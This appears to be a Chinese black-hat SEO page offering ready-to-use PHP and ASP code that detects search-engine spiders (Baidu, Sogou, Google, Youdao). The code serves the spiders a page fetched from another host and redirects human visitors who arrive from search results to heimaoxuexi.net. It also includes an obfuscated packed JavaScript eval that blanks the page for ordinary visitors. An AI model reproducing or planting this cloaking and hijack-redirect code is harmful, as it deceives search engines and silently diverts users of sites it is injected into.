|
龙猫网:黑帽SEO蜘蛛判断跳转代码“百度,搜狗,谷歌,有道”
PHP主页判断百度/蜘蛛跳转代码
====================================
<?php
if (ereg("http://www.baidu.com/search/spider.htm", $_SERVER["HTTP_USER_AGENT"])){
//判断搜索引擎,执行跳转,这里判断的是百度。
$file = file_get_contents('https://www.heimaoxuexi.net/');
echo $file;//提供给百度蜘蛛抓取的页面,也就是快照。
exit;
}
//判断如果用户来自百度搜索,那么跳转
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")){
Header("Location: https://www.heimaoxuexi.net/");//指定跳转
exit;
}
=========================================================================
蜘蛛判断代码
'<html><head><meta http-equiv=refresh content=0;URL=about:blank><script>function clear(){Source=document.body.firstChild.data;document.open();document.close();document.title="";document.body.innerHTML=Source;}</script></head><body onload=clear()>
'<script>eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.1.2(\'3:4\');',5,5,'window|location|replace|about|blank'.split('|'),0,{}))</script>
'ids@hk
Server.ScriptTimeout=500
Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.ResponseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
End Function
Function CheckAgent(user_agent)
allow_agent=split("baiduspider,sogou,baidu,sosospider,googlebot",",")
check_agent=False
For agenti=lbound(allow_agent) to ubound(allow_agent)
If Instr(LCase(user_agent),allow_agent(agenti))>0 then
check_agent=True
Exit For
end if
Next
CheckAgent=check_agent
End function
Function CheckRefresh()
CheckRefresh = False
Dim Botlist,i,Repls
Krobotlist = "baidu|google|sogou|soso|youdao"
Botlist = Split(Krobotlist,"|")
For i = 0 To Ubound(Botlist)
If InStr(LCase(left(request.servervariables("HTTP_REFERER"),"40")),Botlist(i)) > 0 Then
CheckRefresh = True
Exit For
End If
Next
End Function
If CheckRefresh=True Then
Response.redirect("https://www.heimaoxuexi.net/") 'http://www.baidu.com/为跳转地址
Response.End
End If
user_agent=Request.ServerVariables("HTTP_USER_AGENT")
If CheckAgent(user_agent)=True Then
body=GetHtml("http://www.ip138.com/") 'http://www.ip138.com/为搜索引擎蜘蛛抓取链接
Response.Write body
Response.End
End If
'</body></html>
|
|